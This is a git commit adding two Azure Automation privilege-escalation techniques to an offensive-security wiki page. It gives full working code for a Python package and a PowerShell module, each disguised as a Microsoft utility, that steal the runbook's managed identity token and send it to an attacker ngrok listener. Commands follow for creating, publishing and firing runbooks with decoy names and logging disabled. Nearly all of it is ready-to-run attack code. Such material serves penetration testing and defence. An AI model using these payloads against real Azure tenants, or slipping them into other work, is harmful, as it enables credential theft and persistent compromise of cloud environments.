Update az-automation-accounts-privesc.md

The 2 following techniques demonstrate how privilege escalation can be done with modules and python packages in Azure involving automation accounts. Original research with screenshots and evidence can be provided upon request.
This commit is contained in:
OffsecPierogi
2026-06-25 09:44:28 -04:00
committed by GitHub
parent 42e19b55ad
commit 9153166a1d
@@ -317,3 +317,287 @@ The scheduled task executes the payload, achieving SYSTEM-level privileges.
{{#include ../../../banners/hacktricks-training.md}}
### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
#### Automation - Malicious Python Packages
Automation accounts support **custom Python packages** that extend the functionality of runbooks. These packages execute inside the runbook container with the **same identity and permissions** as the runbook itself (like a system managed identity).
Having the ability to write to the automation account's module store, you can **backdoor a package** and get **persistent code execution** every time a runbook imports that module.
Additionally, this same process can be done for **custom runtime environments** and reassign an existing runbook to it.
> [!TIP]
> This technique does not require modifying any existing runbook code. Once the malicious package is imported, **any runbook** that imports it will execute your payload automatically.
This command will disclose any python packages that exist:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \
--query "value[].{Name:name, Version:properties.version}" -o table
```
Create the setup to compile the python package:
```bash
cat > setup.py << 'EOF'
import setuptools
with open("README.md", "r") as fh:
long_description = fh.read()
setuptools.setup(
name="az_log_helper",
version="1.0.2",
author="Azure Utilities",
author_email="azutils@microsoft.com",
description="Helper utilities for Azure Log Analytics integration.",
long_description=long_description,
long_description_content_type="text/markdown",
packages=setuptools.find_packages(),
python_requires='>=3.8',
)
EOF
```
Create the `__init__.py` to import everything from az\_log\_helper and create the python script to **exfiltrate a managed identity token** to your listener:
```bash
mkdir -p az_log_helper
cat > az_log_helper/__init__.py << 'EOF'
from .az_log_helper import *
EOF
cat > az_log_helper/az_log_helper.py << 'EOF'
import os
import requests
import json
endpoint_url = "https://<YOUR-NGROK-URL>/"
identity_endpoint = os.getenv('IDENTITY_ENDPOINT')
if identity_endpoint:
params = {
'api-version': '2018-02-01',
'resource': 'https://management.azure.com/'
}
headers = {
'Metadata': 'true'
}
try:
response = requests.get(identity_endpoint, params=params, headers=headers)
response.raise_for_status()
token = response.json()
requests.post(endpoint_url,
headers={'Content-Type': 'application/json'},
data=json.dumps({'token': token}))
except requests.exceptions.RequestException:
pass
EOF
```
Build the python package so it can be uploaded to Azure:
```bash
pip install wheel --break-system-packages 2>/dev/null
python3 setup.py bdist_wheel
```
Provision a new runbook to execute the python package at runtime:
```bash
NEW_RUNBOOK_PY="check-ssl-expiry"
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}?api-version=2023-11-01" \
--body "{
\"location\": \"centralus\",
\"properties\": {
\"runbookType\": \"Python3\",
\"description\": \"SSL certificate expiry checker\",
\"logProgress\": false,
\"logVerbose\": false
}
}"
```
Upload the file contents into the runbook to load the python package when it runs, and then publish the runbook:
```bash
cat > /tmp/py_runbook.py << 'EOF'
import az_log_helper
print("Log collection check complete.")
EOF
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}/draft/content?api-version=2023-11-01" \
--headers "Content-Type=text/powershell" \
--body @/tmp/py_runbook.py
```
Publish the runbook:
```bash
az automation runbook publish \
--resource-group $RESOURCE_GROUP \
--automation-account-name $AUTOMATION_ACCOUNT \
--name $NEW_RUNBOOK_PY
```
Fire the runbook:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
--body "{
\"properties\": {
\"runbook\": { \"name\": \"${NEW_RUNBOOK_PY}\" }
}
}"
```
Once the runbook executes, the **managed identity token** is exfiltrated to your listener.
### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
#### Automation - Malicious Modules
A minimal PowerShell module is just **two file types**: a `.psd1` manifest and a `.psm1` containing the code. The `.psd1` and `.psm1` filenames **must match the name of the `.zip`** exactly.
> [!TIP]
> This technique is the PowerShell equivalent of the Python package backdoor above. Custom modules are loaded at runtime with the **same privileges** as the runbook's managed identity.
The following command lists existing modules:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \
--query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table
```
Create the module manifest (`.psd1`):
```bash
cat > <MODULE_NAME>.psd1 << 'EOF'
@{
RootModule = '<MODULE_NAME>.psm1'
ModuleVersion = '2.1.0'
GUID = 'a3b2c1d4-e5f6-7890-abcd-ef1234567890'
Author = 'Microsoft Corporation'
CompanyName = 'Microsoft'
Copyright = '(c) Microsoft Corporation. All rights reserved.'
FunctionsToExport = @('Invoke-AzNetworkDiagnostic')
CmdletsToExport = @()
VariablesToExport = @()
AliasesToExport = @()
}
EOF
```
Create the module code (`.psm1`) with the **token exfiltration payload**:
```bash
cat > <MODULE_NAME>.psm1 << 'EOF'
function Invoke-AzNetworkDiagnostic {
$SuppressAzurePowerShellBreakingChangeWarnings = $true
Connect-AzAccount -Identity | Out-Null
$token = Get-AzAccessToken | ConvertTo-Json
Invoke-RestMethod -Uri "https://<YOUR-NGROK-URL>/" -Method Post -Body $token | Out-Null
}
Export-ModuleMember -Function Invoke-AzNetworkDiagnostic
EOF
```
Zip the module and upload it via the Azure portal. **The `.zip` name must match the `.psd1` and `.psm1` filenames exactly.**
```bash
zip <MODULE_NAME>.zip <MODULE_NAME>.psd1 <MODULE_NAME>.psm1
```
After uploading, verify the module is successfully imported:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/powershell72Modules/<MODULE_NAME>?api-version=2023-11-01" \
--query "properties.provisioningState"
# Expected output: "Succeeded"
```
Get the location of the automation account and create a new runbook that imports the malicious module:
```bash
LOCATION=$(az automation account show \
--resource-group $RESOURCE_GROUP \
--name $AUTOMATION_ACCOUNT \
--query location -o tsv)
NEW_RUNBOOK="diagnostics-health-check"
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}?api-version=2023-11-01" \
--body "{
\"location\": \"${LOCATION}\",
\"properties\": {
\"runbookType\": \"PowerShell72\",
\"description\": \"Network diagnostics health check\",
\"logProgress\": false,
\"logVerbose\": false
}
}"
```
Upload runbook content that calls the backdoored module function:
```bash
cat > /tmp/ps_runbook.ps1 << 'EOF'
Import-Module <MODULE_NAME>
Invoke-AzNetworkDiagnostic
Write-Output "Diagnostics complete."
EOF
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}/draft/content?api-version=2023-11-01" \
--headers "Content-Type=text/powershell" \
--body @/tmp/ps_runbook.ps1
```
Publish the runbook and fire a job:
```bash
az automation runbook publish \
--resource-group $RESOURCE_GROUP \
--automation-account-name $AUTOMATION_ACCOUNT \
--name $NEW_RUNBOOK
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
--body "{
\"properties\": {
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
}
}"
```
Within a minute the **managed identity token** is exfiltrated to your listener.
For troubleshooting, obtain the job ID and check the job streams for errors:
```bash
# Get job ID from the job creation output, or list recent jobs
JOB_ID=$(az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
--body "{
\"properties\": {
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
}
}" --query "name" -o tsv)
# Check job output streams
az rest --method GET \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01"
```